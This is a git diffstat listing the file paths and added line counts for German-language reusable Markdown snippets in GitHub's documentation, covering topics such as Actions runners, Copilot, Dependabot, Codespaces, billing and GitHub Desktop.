 .../actions/runner-group-assign-policy-org.md |   11 +
 .../runner-group-assign-policy-repo.md        |   11 +
 .../runner-group-assign-policy-workflow.md    |   14 +
 .../runner-group-enterprise-overview.md       |   11 +
 ...er-groups-add-to-enterprise-first-steps.md |   11 +
 ...-groups-navigate-to-repo-org-enterprise.md |   24 +
 .../actions/runner-label-settings.md          |    9 +
 .../actions/runner-name-description.md        |    9 +
 .../actions/runner-os-description.md          |    9 +
 .../runner-temp-directory-description.md      |    9 +
 .../actions/runner-tool-cache-description.md  |    9 +
 .../actions/runner-workflow-continuity.md     |    9 +
 .../data/reusables/actions/schedule-delay.md  |   13 +
 .../actions/scheduled-workflows-disabled.md   |    9 +
 .../actions/secrets-org-level-overview.md     |    9 +
 .../actions/secrets-redaction-warning.md      |   13 +
 .../reusables/actions/secrets-table-entry.md  |    9 +
 ...on-using-unique-names-for-runner-groups.md |   42 +
 .../self-hosted-runner-add-to-enterprise.md   |   16 +
 .../self-hosted-runner-architecture.md        |    1 +
 .../self-hosted-runner-auto-removal.md        |    6 +
 ...osted-runner-check-installation-success.md |   16 +
 .../actions/self-hosted-runner-configure.md   |   24 +
 .../actions/self-hosted-runner-description.md |    9 +
 .../self-hosted-runner-labels-runs-on.md      |   13 +
 ...sted-runner-labels-view-assigned-labels.md |   10 +
 .../actions/self-hosted-runner-list-group.md  |   10 +
 .../actions/self-hosted-runner-list.md        |    9 +
 .../actions/self-hosted-runner-locations.md   |    9 +
 ...-runner-management-permissions-required.md |    9 +
 ...elf-hosted-runner-navigate-repo-and-org.md |    9 +
 ...osted-runner-navigate-to-org-enterprise.md |   24 +
 ...-runner-navigate-to-repo-org-enterprise.md |   24 +
 ...self-hosted-runner-networking-to-dotcom.md |    1 +
 .../self-hosted-runner-ports-protocols.md     |    3 +
 .../self-hosted-runner-public-repo-access.md  |   13 +
 .../self-hosted-runner-removal-impact.md      |    9 +
 ...hosted-runner-removing-a-runner-updated.md |   20 +
 .../self-hosted-runner-removing-a-runner.md   |   23 +
 .../actions/self-hosted-runner-reqs-docker.md |    9 +
 .../actions/self-hosted-runner-reusing.md     |    9 +
 .../self-hosted-runner-security-admonition.md |   15 +
 .../actions/self-hosted-runner-security.md    |    9 +
 .../self-hosted-runners-prerequisites.md      |   15 +
 .../actions/self-hosted-runners-software.md   |    9 +
 .../actions/service-container-add-script.md   |    9 +
 .../actions/service-container-host-runner.md  |    9 +
 .../actions/service-container-host.md         |    9 +
 .../actions/service-container-localhost.md    |    9 +
 .../actions/service-container-prereqs.md      |    9 +
 .../actions/service-template-steps.md         |   13 +
 ...sidebar-actions-runner-groups-selection.md |    9 +
 ...ttings-sidebar-actions-runner-selection.md |    9 +
 ...ettings-sidebar-actions-runners-updated.md |    9 +
 .../settings-ui/settings-actions-general.md   |    2 +
 .../settings-actions-pages-custom-workflow.md |    1 +
 .../settings-actions-runner-groups.md         |    5 +
 .../settings-ui/settings-actions-runners.md   |    3 +
 .../reusables/actions/setup-node-intro.md     |    9 +
 .../actions/setup-node-table-entry.md         |    9 +
 .../reusables/actions/sidebar-environment.md  |    9 +
 .../data/reusables/actions/sidebar-secret.md  |    5 +
 .../actions/starter-workflow-categories.md    |   12 +
 .../actions/supported-github-runners.md       |  111 ++
 .../upgrade-runners-before-upgrade-ghes.md    |    1 +
 .../reusables/actions/usage-api-requests.md   |    9 +
 .../reusables/actions/usage-matrix-limits.md  |    9 +
 .../actions/usage-workflow-queue-limits.md    |    9 +
 .../actions/usage-workflow-run-time.md        |    9 +
 .../reusables/actions/use-request-body-api.md |    9 +
 .../using-context-or-environment-variables.md |   29 +
 .../workflow-basic-example-and-explanation.md |  189 ++
 .../actions/workflow-dispatch-inputs.md       |   40 +
 .../actions/workflow-dispatch-table-entry.md  |    9 +
 .../workflow-organization-templates.md        |    9 +
 .../actions/workflow-permissions-intro.md     |    9 +
 .../actions/workflow-permissions-modifying.md |    9 +
 .../workflow-pr-approval-permissions-intro.md |    9 +
 .../actions/workflow-run-approve-link.md      |    9 +
 .../workflow-run-approve-public-fork.md       |   17 +
 .../actions/workflow-runs-dependabot-note.md  |   13 +
 .../actions/workflow-template-overview.md     |    3 +
 .../workflows-from-public-fork-setting.md     |   12 +
 .../workflows/approve-workflow-runs.md        |   15 +
 ...ection-run-on-specific-branches-or-tags.md |   85 +
 .../workflows/section-specifying-branches.md  |   53 +
 .../section-triggering-a-workflow-branches.md |   70 +
 .../section-triggering-a-workflow-paths.md    |   86 +
 .../section-triggering-a-workflow-schedule.md |   11 +
 .../section-triggering-a-workflow-types.md    |   17 +
 .../section-triggering-a-workflow.md          |   14 +
 .../about-committer-numbers-ghec-ghes.md      |   14 +
 .../about-ghas-license-seats.md               |    9 +
 .../about-ghas-organization-policy.md         |    5 +
 .../check-for-ghas-license.md                 |    9 +
 .../advanced-security/custom-link-beta.md     |   13 +
 .../getting-the-most-from-your-license.md     |   14 +
 .../ghas-helps-developers.md                  |    9 +
 .../advanced-security/ghas-must-be-enabled.md |    9 +
 .../advanced-security/license-overview.md     |   20 +
 .../managing-license-usage-ghec-ghes.md       |   13 +
 .../advanced-security/more-info-ghas.md       |    9 +
 ...re-information-about-enforcement-policy.md |    9 +
 .../note-org-enable-uses-seats.md             |   11 +
 ...ret-scanning-add-custom-pattern-details.md |    9 +
 .../secret-scanning-create-custom-pattern.md  |    1 +
 .../secret-scanning-dry-run-results.md        |   12 +
 ...canning-dry-run-select-enterprise-repos.md |   17 +
 .../secret-scanning-dry-run-select-repos.md   |   20 +
 .../secret-scanning-new-custom-pattern.md     |    9 +
 .../secret-scanning-push-protection-org.md    |    6 +
 .../secret-scanning-push-protection-repo.md   |   10 +
 .../security-feature-availability.md          |    9 +
 .../starter-workflow-overview.md              |    9 +
 .../starter-workflows-beta.md                 |   13 +
 .../beta-malware-advisories.md                |   13 +
 .../apps/accept_new_permissions_steps.md      |   10 +
 .../data/reusables/apps/app-ruby-guides.md    |   13 +
 .../data/reusables/apps/app_manager_role.md   |    9 +
 .../reusables/apps/checks-availability.md     |    9 +
 .../data/reusables/apps/deletes_ssh_keys.md   |   13 +
 .../deprecating_auth_with_query_parameters.md |   15 +
 .../expiring_user_authorization_tokens.md     |    9 +
 .../apps/general-apps-restrictions.md         |    9 +
 .../reusables/apps/ip-allow-list-only-apps.md |   13 +
 .../apps/maximum-github-apps-allowed.md       |    9 +
 .../apps/maximum-oauth-apps-allowed.md        |    9 +
 .../apps/oauth-app-access-restrictions.md     |    9 +
 .../reusables/apps/oauth-apps-restrictions.md |    9 +
 .../apps/oauth-auth-vary-response.md          |    9 +
 .../data/reusables/apps/oauth-token-limit.md  |    9 +
 .../apps/optional_feature_activation.md       |   12 +
 .../data/reusables/apps/settings-step.md      |   14 +
 .../apps/sinatra_restart_instructions.md      |   13 +
 .../data/reusables/apps/state_description.md  |    9 +
 ...to-a-forked-repository-for-check-suites.md |   13 +
 .../apps/user-to-server-rate-limits-ghec.md   |   12 +
 .../apps/user-to-server-rate-limits.md        |    1 +
 .../audit_log/audit-data-retention-tab.md     |   11 +
 .../audit_log/audit-log-action-categories.md  |  116 ++
 .../reusables/audit_log/audit-log-api-info.md |   13 +
 .../audit_log/audit-log-events-workflows.md   |   20 +
 .../audit-log-git-events-retention.md         |    9 +
 .../audit-log-search-by-operation.md          |   19 +
 .../audit_log/audit-log-search-by-repo.md     |   17 +
 .../audit_log/audit-log-search-by-user.md     |   17 +
 ...audit-log-search-list-info-about-action.md |   20 +
 .../reusables/audit_log/audit-log-search.md   |   17 +
 .../audit_log_sidebar_for_org_admins.md       |    6 +
 .../audit_log_sidebar_for_site_admins.md      |    6 +
 .../reusables/audit_log/audited-data-list.md  |    9 +
 .../data/reusables/audit_log/export-log.md    |   15 +
 .../exported-git-log-keys-and-values.md       |   21 +
 .../audit_log/exported-log-keys-and-values.md |   26 +
 .../audit_log/git-events-export-limited.md    |   13 +
 .../git-events-not-in-search-results.md       |   13 +
 .../audit_log/keys-and-example-values.md      |   16 +
 .../data/reusables/audit_log/octicon_icon.md  |   10 +
 .../audit_log/only-three-months-displayed.md  |    9 +
 .../reusables/audit_log/retention-periods.md  |    3 +
 .../audit_log/streaming-check-s3-endpoint.md  |   11 +
 .../audit_log/streaming-choose-s3.md          |   11 +
 .../billing/about-invoices-for-enterprises.md |    9 +
 .../billing/billing-hosted-runners.md         |    9 +
 .../billing/billing-standard-runners.md       |   13 +
 .../reusables/billing/email-notifications.md  |   13 +
 .../ghes-with-no-enterprise-account.md        |    9 +
 .../reusables/billing/license-statuses.md     |   13 +
 .../billing/overages-billed-monthly.md        |    9 +
 .../branches/change-default-branch.md         |    9 +
 ...efault-branch-automatically-base-branch.md |   10 +
 .../branches/new-repo-default-branch.md       |    2 +
 .../reusables/branches/set-default-branch.md  |    9 +
 .../reusables/classroom/about-assignments.md  |    9 +
 .../reusables/classroom/about-autograding.md  |    1 +
 .../reusables/classroom/about-classrooms.md   |    9 +
 .../reusables/classroom/about-online-ides.md  |    9 +
 .../assignments-classroom-prerequisite.md     |    9 +
 .../classroom/assignments-click-pencil.md     |   10 +
 .../classroom/assignments-group-definition.md |    9 +
 .../assignments-guide-assign-a-deadline.md    |   13 +
 .../assignments-guide-choose-an-online-ide.md |   13 +
 ...nments-guide-choose-template-repository.md |   13 +
 .../assignments-guide-choose-visibility.md    |   17 +
 ...ments-guide-click-continue-after-basics.md |   15 +
 ...ontinue-after-starter-code-and-feedback.md |   15 +
 ...ts-guide-click-create-assignment-button.md |   13 +
 ...nments-guide-create-review-pull-request.md |   13 +
 ...assignments-guide-create-the-assignment.md |   15 +
 ...assignments-guide-intro-for-environment.md |    9 +
 ...nts-guide-invite-students-to-assignment.md |   11 +
 .../assignments-guide-prevent-changes.md      |   15 +
 .../assignments-guide-using-autograding.md    |   31 +
 .../assignments-individual-definition.md      |    9 +
 .../assignments-to-prevent-submission.md      |    9 +
 .../classroom/assignments-type-a-title.md     |   13 +
 .../classroom/classroom-admins-link.md        |    9 +
 .../classroom/classroom-codespaces-link.md    |    9 +
 .../classroom-creates-group-repositories.md   |    9 +
 ...assroom-creates-individual-repositories.md |    9 +
 .../classroom-enables-invitation-urls.md      |    9 +
 .../classroom/click-assignment-in-list.md     |   10 +
 .../classroom/click-classroom-in-list.md      |   10 +
 .../reusables/classroom/click-settings.md     |   10 +
 .../reusables/classroom/click-students.md     |   10 +
 ...e-information-about-assignment-creation.md |    9 +
 ...espaces-for-verified-teachers-beta-note.md |   13 +
 .../classroom/guide-create-new-classroom.md   |   14 +
 .../classroom/invitation-url-warning.md       |   13 +
 .../readme-contains-button-for-online-ide.md  |    9 +
 .../classroom/reuse-assignment-link.md        |    9 +
 .../classroom/sign-into-github-classroom.md   |    9 +
 .../reusables/classroom/supported-lmses.md    |   29 +
 ...-test-drop-down-to-click-grading-method.md |    9 +
 .../you-can-choose-a-template-repository.md   |   15 +
 ...-can-create-a-pull-request-for-feedback.md |    9 +
 .../de-DE/data/reusables/cli/about-cli.md     |    9 +
 .../data/reusables/cli/cli-extensions.md      |    9 +
 .../de-DE/data/reusables/cli/cli-features.md  |   17 +
 .../data/reusables/cli/cli-installation.md    |    9 +
 .../de-DE/data/reusables/cli/cli-intro.md     |    9 +
 .../data/reusables/cli/cli-learn-more.md      |   13 +
 .../filter-issues-and-pull-requests-tip.md    |   13 +
 .../about-analysis-origins-link.md            |    9 +
 .../code-scanning/about-code-scanning.md      |    9 +
 .../code-scanning/about-codeql-analysis.md    |    9 +
 .../code-scanning/alert-default-branch.md     |    9 +
 .../code-scanning/alert-tracking-link.md      |   10 +
 .../alerts-found-in-generated-code.md         |   11 +
 .../reusables/code-scanning/analyze-go.md     |    9 +
 .../autobuild-add-build-steps.md              |    2 +
 .../autobuild-compiled-languages.md           |    9 +
 .../beta-alert-tracking-in-issues.md          |   17 +
 .../code-scanning/beta-codeql-ml-queries.md   |   17 +
 .../code-scanning/beta-codeql-packs-cli.md    |   17 +
 .../data/reusables/code-scanning/beta.md      |   21 +
 .../data/reusables/code-scanning/billing.md   |    9 +
 .../choose-alert-dismissal-reason.md          |   10 +
 .../code-scanning/click-alert-in-list.md      |   10 +
 .../code-scanning/close-alert-examples.md     |    9 +
 ...odeql-cli-context-for-third-party-tools.md |    9 +
 ...ntext-for-actions-and-third-party-tools.md |    1 +
 .../code-scanning/codeql-languages-bullets.md |   19 +
 .../codeql-languages-keywords.md              |    1 +
 .../codeql-query-suites-explanation.md        |   13 +
 .../code-scanning/codeql-query-suites.md      |   12 +
 .../codeql-runner-analyze-example.md          |   32 +
 .../custom-configuration-file.md              |    9 +
 .../deprecation-codeql-runner.md              |   23 +
 .../reusables/code-scanning/edit-workflow.md  |    9 +
 .../code-scanning/enabling-options.md         |   12 +
 ...enterprise-enable-code-scanning-actions.md |    9 +
 .../enterprise-enable-code-scanning.md        |   11 +
 .../enterprise-enable-dependency-graph.md     |   13 +
 .../example-configuration-files.md            |   59 +
 .../reusables/code-scanning/explore-alert.md  |    9 +
 .../code-scanning/extractor-diagnostics.md    |   12 +
 .../false-positive-fix-codeql.md              |    9 +
 .../filter-non-default-branches.md            |    9 +
 .../get-started-uploading-third-party-data.md |    9 +
 .../github-issues-integration.md              |   11 +
 ...eroperable-with-tools-that-output-sarif.md |    9 +
 .../reusables/code-scanning/licensing-note.md |   20 +
 .../code-scanning/non-glibc-linux-support.md  |    9 +
 .../reusables/code-scanning/not-available.md  |   13 +
 .../code-scanning/run-additional-queries.md   |   30 +
 .../specify-language-to-analyze.md            |    9 +
 .../code-scanning/summary-metrics.md          |   13 +
 .../code-scanning/upload-sarif-alert-limit.md |   16 +
 .../code-scanning/upload-sarif-ghas.md        |   13 +
 .../code-scanning/what-is-codeql-cli.md       |    1 +
 .../you-can-upload-third-party-analysis.md    |    9 +
 .../about-changing-default-editor.md          |    9 +
 .../codespaces/about-changing-storage-size.md |   11 +
 .../codespaces/about-configuration.md         |    9 +
 .../codespaces/about-port-forwarding.md       |    9 +
 .../accessing-prebuild-configuration.md       |   10 +
 .../changing-machine-type-in-vscode.md        |   19 +
 .../click-remote-explorer-icon-vscode.md      |   13 +
 .../codespaces/codespace-config-order.md      |    9 +
 .../codespaces/codespaces-are-per-branch.md   |    9 +
 .../codespaces/codespaces-are-personal.md     |    9 +
 .../codespaces-disabling-org-billing.md       |    5 +
 .../codespaces-machine-type-availability.md   |    9 +
 .../codespaces/codespaces-machine-types.md    |   11 +
 .../codespaces-org-policies-note.md           |   13 +
 .../codespaces/codespaces-org-policies.md     |   11 +
 .../codespaces/codespaces-policy-targets.md   |   19 +
 .../codespaces-spending-limit-requirement.md  |    7 +
 .../codespaces/command-palette-container.md   |   11 +
 .../committing-link-to-procedure.md           |   11 +
 .../connect-to-codespace-from-vscode.md       |    9 +
 .../reusables/codespaces/contact-support.md   |    9 +
 .../codespaces/create-or-switch-branch.md     |   13 +
 .../creating-a-codespace-in-vscode.md         |   30 +
 .../codespaces/customize-vcpus-and-ram.md     |    5 +
 .../deleting-a-codespace-in-vscode.md         |   15 +
 .../codespaces/edit-devcontainer-json.md      |    9 +
 .../reusables/codespaces/ellipsis-settings.md |    9 +
 .../reusables/codespaces/exporting-changes.md |    9 +
 .../forwarded-ports-environment-variable.md   |    9 +
 .../codespaces/links-to-get-started.md        |    9 +
 .../codespaces/max-number-codespaces.md       |    9 +
 .../codespaces/more-info-devcontainer.md      |    9 +
 .../codespaces/navigate-to-codespaces-page.md |    9 +
 .../codespaces/navigate-to-ports-tab.md       |   10 +
 .../next-steps-adding-devcontainer.md         |    3 +
 .../open-codespace-from-template-repo.md      |   14 +
 .../port-forwarding-intro-non-jetbrains.md    |   23 +
 .../port-forwarding-sharing-non-jetbrains.md  |   23 +
 .../codespaces/port-visibility-settings.md    |   13 +
 .../codespaces/prebuilds-crossreference.md    |    1 +
 .../prebuilds-permission-authorization.md     |   21 +
 .../reusables/codespaces/rebuild-command.md   |   11 +
 .../reusables/codespaces/rebuild-reason.md    |    9 +
 .../reusables/codespaces/recovery-mode.md     |    9 +
 .../codespaces/restrict-port-visibility.md    |    9 +
 .../reusables/codespaces/secret-precedence.md |    9 +
 .../reusables/codespaces/secrets-naming.md    |   15 +
 .../reusables/codespaces/secrets-on-start.md  |    1 +
 .../codespaces/setup-custom-devcontainer.md   |    9 +
 .../reusables/codespaces/sidebar-secret.md    |    9 +
 .../source-control-commit-changes.md          |   15 +
 .../codespaces/source-control-display-dark.md |   10 +
 .../codespaces/source-control-display.md      |   11 +
 .../codespaces/source-control-pull-request.md |   13 +
 .../codespaces/stopping-a-codespace.md        |   13 +
 .../reusables/codespaces/type-port-label.md   |   10 +
 .../data/reusables/codespaces/use-chrome.md   |    2 +
 .../codespaces/use-visual-studio-features.md  |    9 +
 .../codespaces/using-codespaces-in-vscode.md  |    9 +
 .../codespaces/ways-to-create-a-codespace.md  |    9 +
 .../you-can-see-all-your-codespaces.md        |    9 +
 .../your-codespaces-procedure-step.md         |    9 +
 .../reusables/command-palette/beta-note.md    |   13 +
 .../reusables/command-palette/change-scope.md |   13 +
 .../reusables/command-palette/open-palette.md |    9 +
 .../change-current-directory-clone.md         |    9 +
 .../reusables/command_line/git-clone-url.md   |   12 +
 .../command_line/local-clone-created.md       |   17 +
 .../command_line/manipulating_file_prereqs.md |   12 +
 .../open_the_multi_os_terminal.md             |    9 +
 .../command_line/provide-an-access-token.md   |    1 +
 .../providing-token-as-password.md            |   17 +
 .../reusables/command_line/start_ssh_agent.md |   16 +
 .../switching_directories_procedural.md       |    9 +
 .../command_line/use_with_support_only.md     |    9 +
 .../data/reusables/commits/about-commits.md   |   15 +
 .../community/interaction-limits-duration.md  |    9 +
 .../interaction-limits-restrictions.md        |    9 +
 .../reusables/community/issue-forms-beta.md   |   13 +
 .../reusables/community/report-content.md     |   14 +
 .../community/set-interaction-limit.md        |    9 +
 .../community/tools-for-moderating.md         |    9 +
 .../community/types-of-interaction-limits.md  |   12 +
 .../copilot/accept-or-reject-suggestion.md    |    9 +
 .../copilot/accept-suggestion-new-tab.md      |    9 +
 .../copilot/accept-suggestion-tab.md          |    9 +
 .../reusables/copilot/accept-suggestion.md    |    9 +
 .../copilot/alternative-suggestions.md        |    9 +
 .../copilot/close-suggestions-tab.md          |    9 +
 .../copilot/copilot-prerequisites.md          |   10 +
 .../data/reusables/copilot/create-c-file.md   |    9 +
 .../reusables/copilot/create-java-file.md     |    9 +
 .../data/reusables/copilot/create-js-file.md  |    9 +
 .../data/reusables/copilot/dotcom-settings.md |   31 +
 .../copilot/emus-cannot-use-copilot.md        |    9 +
 .../enabling-disabling-in-jetbrains.md        |   16 +
 .../copilot/enabling-or-disabling-in-vsc.md   |   19 +
 .../copilot/enabling-or-disabling-vs.md       |   18 +
 .../generating-suggestions-from-comments.md   |    9 +
 .../getting-started-further-reading.md        |   12 +
 .../copilot/install-copilot-in-neovim.md      |    1 +
 .../data/reusables/copilot/jetbrains-ides.md  |   27 +
 .../reusables/copilot/procedural-intro.md     |    9 +
 .../copilot/reject-suggestions-escape.md      |    9 +
 .../data/reusables/copilot/save-settings.md   |    9 +
 .../copilot/see-alternative-suggestions.md    |    9 +
 .../reusables/copilot/signup-procedure.md     |   25 +
 .../reusables/copilot/suggestions-new-tab.md  |    9 +
 .../reusables/copilot/supported-languages.md  |    9 +
 .../copilot/type-function-header-c.md         |   13 +
 .../reusables/copilot/type-function-header.md |   14 +
 .../copilot/windows-linux-next-suggestion.md  |    9 +
 .../dashboard/access-org-dashboard.md         |   11 +
 .../recent-activity-qualifying-events.md      |   16 +
 .../dependabot/about-the-dependency-graph.md  |   12 +
 .../dependabot/automated-tests-note.md        |   13 +
 .../beta-security-and-version-updates.md      |   21 +
 .../dependabot/check-in-dependabot-yml.md     |    9 +
 .../dependabot/click-dependabot-tab.md        |   10 +
 .../dependabot/configuration-options.md       |   24 +
 .../default-dependencies-allow-ignore.md      |    1 +
 .../reusables/dependabot/default-labels.md    |    9 +
 .../dependabot/dependabot-alerts-beta.md      |   13 +
 ...abot-alerts-dependency-graph-enterprise.md |   10 +
 .../dependabot-alerts-dependency-scope.md     |   33 +
 .../dependabot/dependabot-alerts-filters.md   |   14 +
 .../reusables/dependabot/dependabot-tos.md    |   11 +
 .../dependabot-updates-and-actions.md         |    9 +
 .../dependabot/enabling-actions-for-ghes.md   |    9 +
 ...disabling-dependency-graph-private-repo.md |   10 +
 .../enterprise-enable-dependabot.md           |   19 +
 .../ghes-ghae-enabling-dependency-graph.md    |    9 +
 .../reusables/dependabot/initial-updates.md   |   13 +
 .../option-affects-security-updates.md        |    9 +
 .../dependabot/private-dependencies-note.md   |    9 +
 .../dependabot/private-dependencies.md        |    9 +
 .../dependabot/pull-request-introduction.md   |    9 +
 ...ull-request-security-vs-version-updates.md |   12 +
 .../dependabot/result-discrepancy.md          |    9 +
 .../reusables/dependabot/sidebar-secret.md    |    6 +
 .../dependabot/supported-package-managers.md  |   58 +
 .../dependabot/version-updates-for-actions.md |    9 +
 .../dependabot/vulnerable-calls-beta.md       |   21 +
 .../dependency-review/action-enterprise.md    |   10 +
 .../dependency-review-action-beta-note.md     |   13 +
 .../dependency-review-action-overview.md      |   11 +
 .../dependency-review-enabled-ghes.md         |   10 +
 .../dependency-review/feature-overview.md     |   12 +
 .../dependency-review/short-summary.md        |    9 +
 .../about-dependency-submission.md            |   13 +
 .../dependency-submission-api-beta.md         |   13 +
 .../dependency-submission-link.md             |    9 +
 .../data/reusables/desktop/2fa-in-browser.md  |   14 +
 .../reusables/desktop/about-github-desktop.md |   15 +
 .../desktop/authenticate-in-browser.md        |   12 +
 .../desktop/choose-a-branch-to-merge.md       |   10 +
 .../data/reusables/desktop/choose-a-theme.md  |   10 +
 .../desktop/choose-clone-repository.md        |   21 +
 .../reusables/desktop/choose-local-path.md    |   21 +
 .../reusables/desktop/choose-pr-from-list.md  |    9 +
 .../desktop/choose-product-authenticate.md    |   10 +
 .../desktop/click-base-branch-in-drop-down.md |    9 +
 .../desktop/click-changed-files-header.md     |   21 +
 .../data/reusables/desktop/click-clone.md     |   22 +
 .../reusables/desktop/click-discard-files.md  |    9 +
 .../data/reusables/desktop/click-discard.md   |   21 +
 .../reusables/desktop/click-pull-requests.md  |    9 +
 .../data/reusables/desktop/click-restore.md   |   21 +
 .../desktop/click-save-git-config.md          |    9 +
 .../desktop/click-stash-all-changes.md        |   21 +
 .../desktop/click-stashed-changes.md          |   10 +
 .../reusables/desktop/cloning-location-tab.md |   21 +
 .../desktop/cloning-repository-list.md        |   22 +
 .../data/reusables/desktop/commit-all-desc.md |    9 +
 .../data/reusables/desktop/commit-button.md   |    9 +
 .../data/reusables/desktop/commit-message.md  |    9 +
 .../reusables/desktop/commit-some-desc.md     |    9 +
 .../desktop/confirm-discard-files.md          |    9 +
 .../desktop/confirm-merging-branch.md         |    9 +
 .../desktop/confirm-new-branch-button.md      |    9 +
 .../data/reusables/desktop/confirm-tag.md     |    9 +
 .../desktop/copy-email-git-config.md          |    9 +
 .../reusables/desktop/create-new-branch.md    |    9 +
 .../data/reusables/desktop/create-tag.md      |    9 +
 .../reusables/desktop/current-branch-menu.md  |   10 +
 .../reusables/desktop/delete-branch-mac.md    |    9 +
 .../reusables/desktop/delete-branch-win.md    |    9 +
 .../data/reusables/desktop/delete-tag.md      |   14 +
 .../desktop/download-desktop-page.md          |    9 +
 .../reusables/desktop/fork-type-prompt.md     |   50 +
 .../data/reusables/desktop/get-an-account.md  |    4 +
 .../data/reusables/desktop/history-tab.md     |   10 +
 .../launch-desktop-from-command-line.md       |    9 +
 .../reusables/desktop/local-config-email.md   |   10 +
 .../reusables/desktop/local-config-name.md    |   10 +
 .../desktop/mac-repository-settings-menu.md   |    9 +
 .../reusables/desktop/mac-select-accounts.md  |   10 +
 .../desktop/mac-select-desktop-menu.md        |   10 +
 .../data/reusables/desktop/make-changes.md    |    9 +
 .../data/reusables/desktop/name-branch.md     |    9 +
 .../desktop/name-field-git-config.md          |    9 +
 .../de-DE/data/reusables/desktop/name-tag.md  |   10 +
 .../desktop/navigate-to-stashed-changes.md    |   10 +
 .../desktop/open-repository-settings.md       |   22 +
 .../desktop/preferences-options-tabs.md       |   14 +
 .../reusables/desktop/protected-branches.md   |    9 +
 .../reusables/desktop/publish-repository.md   |   10 +
 .../data/reusables/desktop/push-origin.md     |   10 +
 .../desktop/repository-settings-save.md       |   10 +
 .../desktop/resolve-merge-conflicts.md        |    9 +
 .../data/reusables/desktop/retrieve-2fa.md    |   14 +
 .../reusables/desktop/return-to-desktop.md    |    9 +
 .../data/reusables/desktop/revert-commit.md   |    9 +
 .../reusables/desktop/select-base-branch.md   |    9 +
 .../desktop/select-branch-to-delete.md        |    9 +
 .../reusables/desktop/select-discard-files.md |   10 +
 .../desktop/select-email-git-config.md        |    9 +
 .../reusables/desktop/select-fork-behavior.md |   36 +
 .../reusables/desktop/select-git-config.md    |    9 +
 .../data/reusables/desktop/sign-in-browser.md |   10 +
 .../desktop/sign-in-choose-product.md         |    9 +
 .../desktop/switching-between-branches.md     |    9 +
 .../desktop/tags-push-with-commits.md         |    9 +
 .../reusables/desktop/update-email-address.md |    9 +
 .../reusables/desktop/use-local-git-config.md |    9 +
 .../desktop/windows-choose-options.md         |   10 +
 .../windows-repository-settings-menu.md       |    9 +
 .../desktop/windows-select-accounts.md        |   10 +
 .../reusables/desktop/windows_git_bash.md     |    9 +
 .../windows_git_bash_turn_on_ssh_agent.md     |   14 +
 ...ndows_git_for_windows_turn_on_ssh_agent.md |   14 +
 .../limit_workflow_to_activity_types.md       |    9 +
 .../developer-site/multiple_activity_types.md |    9 +
 .../pull_request_forked_repos_link.md         |   32 +
 .../discussions/about-announcement-format.md  |    9 +
 .../about-categories-and-formats.md           |    9 +
 .../discussions/about-discussions.md          |    9 +
 .../about-organization-discussions.md         |   13 +
 .../discussions/click-discussion-in-list.md   |   10 +
 .../reusables/discussions/discussions-tab.md  |   10 +
 .../reusables/discussions/edit-categories.md  |   10 +
 .../discussions/edit-category-details.md      |    9 +
 ...ithub-discussions-for-your-organization.md |    8 +
 ...-github-discussions-for-your-repository.md |   15 +
 .../discussions/github-recognizes-members.md  |    9 +
 .../marking-a-comment-as-an-answer.md         |   23 +
 .../discussions/navigate-to-repo-or-org.md    |    1 +
 .../discussions/repository-category-limit.md  |    9 +
 .../discussions/starting-a-discussion.md      |   10 +
 .../reusables/discussions/starting-a-poll.md  |   23 +
 .../you-can-categorize-discussions.md         |    9 +
 .../discussions/you-can-convert-an-issue.md   |    9 +
 .../discussions/you-can-label-discussions.md  |    9 +
 .../discussions/you-can-use-discussions.md    |    9 +
 .../you-can-read-docs-for-your-product.md     |    9 +
 .../reusables/dotcom_billing/500-error.md     |   13 +
 .../dotcom_billing/actions-minutes.md         |   10 +
 ...ns-packages-report-download-org-account.md |    2 +
 .../actions-packages-report-download.md       |   10 +
 ...ons-packages-storage-enterprise-account.md |   10 +
 .../actions-packages-storage.md               |   10 +
 .../actions-packages-unpaid-account.md        |   13 +
 .../dotcom_billing/add-payment-method.md      |   10 +
 .../reusables/dotcom_billing/add-seats.md     |   10 +
 .../dotcom_billing/cancel-pending-changes.md  |   10 +
 .../dotcom_billing/change_plan_duration.md    |   10 +
 .../choose-monthly-or-yearly-billing.md       |   10 +
 .../dotcom_billing/choose_org_plan.md         |   10 +
 .../dotcom_billing/confirm-add-seats.md       |   10 +
 .../confirm-cancel-pending-changes.md         |    9 +
 .../dotcom_billing/confirm_cancel_org_plan.md |   10 +
 .../dotcom_billing/confirm_duration_change.md |    9 +
 .../dotcom_billing/coupon-expires.md          |    9 +
 .../dotcom_billing/downgrade-org-to-free.md   |    9 +
 .../dotcom_billing/download_receipt.md        |   10 +
 .../dotcom_billing/enter-billing-info.md      |    9 +
 .../dotcom_billing/enter-payment-info.md      |   11 +
 .../enter_coupon_code_on_redeem_page.md       |   12 +
 .../dotcom_billing/extra_info_receipt.md      |   12 +
 .../dotcom_billing/finish_upgrade.md          |    9 +
 .../reusables/dotcom_billing/lfs-add-data.md  |   10 +
 .../data/reusables/dotcom_billing/lfs-data.md |   11 +
 .../dotcom_billing/lfs-remove-data.md         |   10 +
 .../dotcom_billing/manage-spending-limit.md   |   10 +
 ...monthly-spending-limit-actions-packages.md |   10 +
 .../dotcom_billing/monthly-spending-limit.md  |   10 +
 .../dotcom_billing/next_billing_date.md       |   10 +
 .../dotcom_billing/number-of-seats.md         |   10 +
 .../dotcom_billing/org-billing-perms.md       |    9 +
 .../dotcom_billing/owned_by_business.md       |   12 +
 .../reusables/dotcom_billing/packages-data.md |   10 +
 .../dotcom_billing/payment-methods.md         |    9 +
 .../pricing_calculator/pricing_cal_actions.md |    9 +
 .../pricing_cal_packages.md                   |    9 +
 .../reusables/dotcom_billing/redeem_coupon.md |    9 +
 .../dotcom_billing/remove-payment-method.md   |   10 +
 .../dotcom_billing/remove_payment_info.md     |    9 +
 .../dotcom_billing/review-pending-changes.md  |   10 +
 .../dotcom_billing/same-payment-method.md     |    9 +
 .../dotcom_billing/show-plan-details.md       |    9 +
 .../dotcom_billing/switch-legacy-billing.md   |    9 +
 .../dotcom_billing/update-spending-limit.md   |   10 +
 .../dotcom_billing/update_payment_method.md   |   10 +
 .../reusables/dotcom_billing/upgrade_org.md   |    9 +
 .../dotcom_billing/view-all-subscriptions.md  |    1 +
 .../dotcom_billing/view-payment-history.md    |   10 +
 .../about-github-community-exchange-intro.md  |    9 +
 .../education/about-github-education-link.md  |   11 +
 .../access-github-community-exchange.md       |   15 +
 .../reusables/education/apply-for-team.md     |    9 +
 .../data/reusables/education/benefits-page.md |    9 +
 .../education/click-get-teacher-benefits.md   |   10 +
 .../education/educator-requirements.md        |   14 +
